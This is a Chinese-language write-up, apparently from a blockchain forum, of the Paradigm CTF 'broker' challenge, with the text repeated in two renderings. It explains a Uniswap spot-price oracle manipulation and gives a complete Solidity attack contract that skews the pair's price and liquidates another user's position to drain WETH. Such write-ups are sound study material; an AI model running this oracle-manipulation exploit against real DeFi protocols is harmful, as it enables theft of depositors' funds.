Paradigm CTF- 银行家

本文是Paradigm CTF的broker系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。

# Paradigm CTF- 银行家 本文是Paradigm CTF的broker系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。 本文都是基于https://binarycake.ca/posts/paradigm-ctf-broker/这篇文章进行的分析,如有需要可以参考原文。 > 目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 。如果你觉得我写的还不错,可以加我的微信:woodward1993 ![broker.png](https://img.learnblockchain.cn/attachments/2021/07/qNtd4Px560ea522bba646.png) ## 分析原文: ```js function isSolved() public view returns (bool) { return weth.balanceOf(address(broker)) < 5 ether; } ``` 从上可以看到,本题目解决的条件是最后broker的WETH的余额小于5ether。 作为一个broker合约,我们分析下它资金的流入,流出渠道: | 函数名 | 流入\流出 | 要求 | 状态改变 | | ------ | --------- | ---- | ------ | | `rage()` |NA | | $\mathtt{r}=\mathtt{R}_0/\mathtt{R}_1$ | | `safeDebt(address)` | NA | | $\mathtt{deposite}*\mathtt{r}*2/3$ | | `borrow(uint256)` | TOKEN流出 | $\mathtt{safeDebt}>\mathtt{debt}$ | `debt[msg.sender] += amount` | | `repay(uint256)` | TOKEN流入 | | `debt[msg.sender] -= amount` | | `liquidate(address,uint256)` | TOKEN流入,WETH流出 | $\mathtt{safeDebt}<=\mathtt{debt}$ | `debt[user] -= amount;` | | `deposit(uint256)` | WETH流入 | | `deposited[msg.sender] += amount;` | | `withdraw(uint256)` | WETH流出 | $\mathtt{safeDebt}>\mathtt{debt}$ | `deposited[msg.sender] -= amount` | 我们的目标是让WETH流出,可以看到有`liquidate和withdarw`两个渠道,liquidate看起来更容易出问题: ```js // repay a user's loan and get back their collateral. no discounts. function liquidate(address user, uint256 amount) public returns (uint256) { require(safeDebt(user) <= debt[user], "err: overcollateralized"); debt[user] -= amount; token.transferFrom(msg.sender, address(this), amount); uint256 collateralValueRepaid = amount / rate(); weth.transfer(msg.sender, collateralValueRepaid); return collateralValueRepaid; } ``` ## 预言机攻击 简单看,我们可以操纵rate()比例,让liquidate时,rate()尽可能小,从而我们得到的WETH尽可能多。让rate()小,就需要让$R_0$尽可能小或者$R_1$尽可能大。结合remix可知,$R_0$是token,$R_1$是WETH。 ![image20210710200603638.png](https://img.learnblockchain.cn/attachments/2021/07/Lkao96KB60ea523c0a0d7.png) 这道题是一个简单的预言机攻击的POC,其中Uniswap的Pair合约是预言机唯一的价格来源,其提供了实时的资产价格rate(). 正常情况是User在合约broker中存入(deposit)WETH, 获得一定的存款量,即deposited. 当用户决定贷款时(borrow),会根据实时Uniswap中TOKEN/WETH价格与存款量计算用户的最大贷款额度,safeDebt。当价格发生波动时,rate改变从而用户的safeDebt改变,导致某些用户出现safeDebt<debt的风险敞口,从而可以被外部用户liquidate. 当代为偿还User的债务时,即清算者会获得按照此时刻的资产价格对应的WETH数量。 在本合约中,最大的风险点在于其价格预言机,是Unisawp中Pair的实时价格。 ![image27.png](https://img.learnblockchain.cn/attachments/2021/07/YarJjjHq60ea52474984c.png) 我们可以通过操纵短时间的Uniswap中的该Pair合约中的实时价格,从而可以清算其他用户的债务获利。 ![image32.png](https://img.learnblockchain.cn/attachments/2021/07/xCtnuC2160ea524dac185.png) ## 思路 故最简单的思路是借来足够多的WETH,在uniswap的Pair中交易,换取token,降低rate,然后清算setup用户的债务,获取WETH。 ```js borrow(amountTOken) -> debt增加 无法增加,因为是setup借的 Router02.swapExactTokensForTokens(amountWETHIn,amountTokenout,path,to,deadline) -> r降低 -> safedebt降低 liquidate(user,amount) -> 满足safeDebt <= debt条件 ``` ```js pragma solidity 0.8.0; import "./Setup.sol"; interface Router { function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } contract Hack { Router public router; Setup public setup; WETH9 public weth; IUniswapV2Pair public pair; Broker public broker; Token public token; uint256 constant DECIMALS = 1 ether; constructor(address _setup) public payable { setup = Setup(_setup); weth = WETH9(setup.weth()); pair = IUniswapV2Pair(setup.pair()); broker = Broker(setup.broker()); token = Token(setup.token()); router = Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); } function exploit() public payable { uint amount_WETH = msg.value; //将本合约的ETH换成WETH weth.deposit{value: amount_WETH}(); weth.approve(address(broker), type(uint256).max); weth.approve(address(router), type(uint256).max); token.approve(address(broker), type(uint256).max); token.approve(address(router), type(uint256).max); //调用router接口的swap方法,换成token address[] memory data = new address[](2); data[0] = address(weth); data[1] = address(token); uint[] memory amount_TOKEN = router.swapExactTokensForTokens(amount_WETH,0,data,address(this),(block.timestamp + 2 days)); //调用broker合约的liquidate方法,收割user,要先approve一下TOKEN的使用量. uint amount_liquidate = 21 ether * broker.rate(); broker.liquidate(address(setup), amount_liquidate); //将TOKEN换回WETH,最后取出ETH => 这里liquidate代为偿还User的债务时,就消耗了一些TOKEN,故后续无法再通过交换拿到自己的原先的WETH 逻辑不成立了 require(setup.isSolved(), "not solve"); } function killself() public payable{ selfdestruct(payable(tx.origin)); } receive() external payable {} function attack() public payable { weth.deposit{value: msg.value}(); weth.transfer(address(pair),weth.balanceOf(address(this))); bytes memory payload; pair.swap(msg.value,0,address(this),payload); uint256 rate = broker.rate(); token.approve(address(broker),type(uint256).max); uint256 liqAmount = 21 ether * rate; broker.liquidate(address(setup), liqAmount); require(setup.isSolved(),"!solved"); } } ``` 这里使用到了Uniswap router02合约中的swapExactTokensForTokens函数 ```js function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) returns (uint[] memory amounts) { amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path); // log("amounts:",amounts); require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } ```

Paradigm CTF- 银行家

本文是Paradigm CTF的broker系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。

本文都是基于https://binarycake.ca/posts/paradigm-ctf-broker/这篇文章进行的分析,如有需要可以参考原文。

目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 。如果你觉得我写的还不错,可以加我的微信:woodward1993

分析原文:

function isSolved() public view returns (bool) {
    return weth.balanceOf(address(broker)) &lt; 5 ether;
}

从上可以看到,本题目解决的条件是最后broker的WETH的余额小于5ether。

作为一个broker合约,我们分析下它资金的流入,流出渠道:

函数名 流入\流出 要求 状态改变
rage() NA $\mathtt{r}=\mathtt{R}_0/\mathtt{R}_1$
safeDebt(address) NA $\mathtt{deposite}\mathtt{r}2/3$
borrow(uint256) TOKEN流出 $\mathtt{safeDebt}>\mathtt{debt}$ debt[msg.sender] += amount
repay(uint256) TOKEN流入 debt[msg.sender] -= amount
liquidate(address,uint256) TOKEN流入,WETH流出 $\mathtt{safeDebt}<=\mathtt{debt}$ debt[user] -= amount;
deposit(uint256) WETH流入 deposited[msg.sender] += amount;
withdraw(uint256) WETH流出 $\mathtt{safeDebt}>\mathtt{debt}$ deposited[msg.sender] -= amount

我们的目标是让WETH流出,可以看到有liquidate和withdarw两个渠道,liquidate看起来更容易出问题:

// repay a user's loan and get back their collateral. no discounts.
function liquidate(address user, uint256 amount) public returns (uint256) {
    require(safeDebt(user) &lt;= debt[user], "err: overcollateralized");
    debt[user] -= amount;
    token.transferFrom(msg.sender, address(this), amount);
    uint256 collateralValueRepaid = amount / rate();
    weth.transfer(msg.sender, collateralValueRepaid);
    return collateralValueRepaid;
}

预言机攻击

简单看,我们可以操纵rate()比例,让liquidate时,rate()尽可能小,从而我们得到的WETH尽可能多。让rate()小,就需要让$R_0$尽可能小或者$R_1$尽可能大。结合remix可知,$R_0$是token,$R_1$是WETH。

这道题是一个简单的预言机攻击的POC,其中Uniswap的Pair合约是预言机唯一的价格来源,其提供了实时的资产价格rate().

正常情况是User在合约broker中存入(deposit)WETH, 获得一定的存款量,即deposited. 当用户决定贷款时(borrow),会根据实时Uniswap中TOKEN/WETH价格与存款量计算用户的最大贷款额度,safeDebt。当价格发生波动时,rate改变从而用户的safeDebt改变,导致某些用户出现safeDebt<debt的风险敞口,从而可以被外部用户liquidate. 当代为偿还User的债务时,即清算者会获得按照此时刻的资产价格对应的WETH数量。

在本合约中,最大的风险点在于其价格预言机,是Unisawp中Pair的实时价格。

我们可以通过操纵短时间的Uniswap中的该Pair合约中的实时价格,从而可以清算其他用户的债务获利。

思路

故最简单的思路是借来足够多的WETH,在uniswap的Pair中交易,换取token,降低rate,然后清算setup用户的债务,获取WETH。

borrow(amountTOken) 
    -> debt增加 无法增加,因为是setup借的
Router02.swapExactTokensForTokens(amountWETHIn,amountTokenout,path,to,deadline) 
    -> r降低 -> safedebt降低
liquidate(user,amount) 
    -> 满足safeDebt &lt;= debt条件
pragma solidity 0.8.0;
import "./Setup.sol";
interface Router {
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}
contract Hack {
    Router public router;
    Setup public setup;
    WETH9 public weth;
    IUniswapV2Pair public pair;
    Broker public broker;
    Token public token;

    uint256 constant DECIMALS = 1 ether;

    constructor(address _setup) public payable {
        setup = Setup(_setup);
        weth = WETH9(setup.weth());
        pair = IUniswapV2Pair(setup.pair());
        broker = Broker(setup.broker());
        token = Token(setup.token());
        router = Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    }
    function exploit() public payable {
        uint amount_WETH = msg.value;
        //将本合约的ETH换成WETH
        weth.deposit{value: amount_WETH}();

        weth.approve(address(broker), type(uint256).max);
        weth.approve(address(router), type(uint256).max);
        token.approve(address(broker), type(uint256).max);
        token.approve(address(router), type(uint256).max);
        //调用router接口的swap方法,换成token
        address[] memory data = new address[](2);
        data[0] = address(weth);
        data[1] = address(token);
        uint[] memory amount_TOKEN = router.swapExactTokensForTokens(amount_WETH,0,data,address(this),(block.timestamp + 2 days));
        //调用broker合约的liquidate方法,收割user,要先approve一下TOKEN的使用量. 
        uint amount_liquidate = 21 ether * broker.rate();
        broker.liquidate(address(setup), amount_liquidate);
        //将TOKEN换回WETH,最后取出ETH => 这里liquidate代为偿还User的债务时,就消耗了一些TOKEN,故后续无法再通过交换拿到自己的原先的WETH 逻辑不成立了
        require(setup.isSolved(), "not solve");

    }
    function killself() public payable{
        selfdestruct(payable(tx.origin));
    }
    receive() external payable {}
    function attack() public payable {
        weth.deposit{value: msg.value}();

        weth.transfer(address(pair),weth.balanceOf(address(this)));
        bytes memory payload;
        pair.swap(msg.value,0,address(this),payload);
        uint256 rate = broker.rate();
        token.approve(address(broker),type(uint256).max);

        uint256 liqAmount = 21 ether * rate;
        broker.liquidate(address(setup), liqAmount);
        require(setup.isSolved(),"!solved");
    }
}

这里使用到了Uniswap router02合约中的swapExactTokensForTokens函数

function swapExactTokensForTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
    amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
    // log("amounts:",amounts);
    require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
    TransferHelper.safeTransferFrom(
        path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
    );
    _swap(amounts, path, to);
}

区块链技术网。

  • 发表于 2021-07-11 10:07
  • 阅读 ( 531 )
  • 学分 ( 19 )
  • 分类:智能合约

评论